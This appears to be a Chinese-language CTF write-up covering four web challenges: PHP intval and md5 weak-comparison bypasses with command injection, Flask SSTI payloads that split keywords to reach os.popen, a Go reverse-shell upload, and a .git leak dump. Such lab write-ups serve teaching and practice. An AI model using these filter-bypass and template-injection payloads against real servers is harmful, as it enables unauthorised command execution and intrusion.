NSSCTF wp 12
NSSCTF WP 12
[WEB] [WUSTCTF 2020] 朴实无华
题解
开门没什么信息, 扫目录:

内容:
1 | User-agent: * |
跟进, 没有有价值的信息, 抓包发现信息藏 Header 了:

1 |
|
这是一道 php 特性的题, 先看第一处:
intval 绕过
intval() 的含义为取变量的整数值, 其逻辑为左往右解析字符串里的数字, 直到遇到非数字字符为止;
1 | intval(true) === 1 |
这是一个可利用的特性, 在 php 中, + 和 intval 对字符串的解析规则不同;
例如 intval($num) < 2020 && intval($num + 1) > 2021 这个条件, 只需令 $num = 2019e1 即可;
md5 弱比较
0e215962017 这个字符串md5后于自身弱比较相等;
RCE
最后一处是个明显的 RCE, 先输 ls:

有两处过滤:
cat被过滤, 换tail,tac等都可以, 不列举;- 空格被过滤, 换
${IFS}即可;
payload:
1 | GET /fl4g.php?num=2019e1&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag |

[WEB] [NCTF 2018] Flask PLUS
题解
fuzz 以下之后发现注入点在 URL / 之后的位置:

说明此处是 SSTI 注入;
进一步尝试后发现对部分关键词, 如 class 存在过滤;
贴两个反复尝试后可用的 payload:
1 | {{lipsum['__glo''bals__']['o''s']['po''pen']("whoami").read()}} |
当然也可以不从
lipsum作为起点进行注入。
1 | {{''['__cl''ass__']['__ba''se__']['__su''bc''las''ses__']()[127]['__in''it__']['__glo''bals__']['__buil''tins__']['__impo''rt__']('o''s')['po''pen']('ls').read()}} |
总之可以用的 payload 还是比较多的;
接下来调整 payload 即可; 空格不能用 +, 需要使用 %20 或者 %09 (Tab):


得到 flag;
[WEB] [NSSRound#8 Basic]Upload_gogoggo
题解
打开直接是上传界面, 直接能传 shell:

根据这个回显可以判断出网页使用了 GO;
那么使用一个 Go 版本的 反弹 shell:
1 | package main |
这一题需要注意的坑是, go 运行的指令是 go run <file>, 这个 run 是不可以省略的, 否则会报错; 而从后台的报错来看, 服务器执行脚本设置的是 go <filename>, 那么必须把上传的文件重命名为 run.go 才可以正确执行;
上传后收到反弹 shell:


根目录下这个可疑文件得到一串字母; 另一串在 /home 下:

这题刻意藏 flag 了, 合起来 b64 解码得到 flag:

[WEB] [CISCN 2023 西南] dataapi
题解
打开发现有 蓝天采集器的登录, 那么思路: 1. 扫目录, 2. 搜索对应的版本漏洞;
首先扫盘: 扫出 /.git 目录:

用 dumpall 尝试利用:
贴上 kali 里的完整使用, 最好不在 windows 上使用:
1 | sudo apt install pipx |

根据扫出来的文件, 在网站上挨个访问, 找到 phpinfo.php 中的 flag:

一月的中心放在了一个项目上, 等项目完工后写个 walkthrough;



























































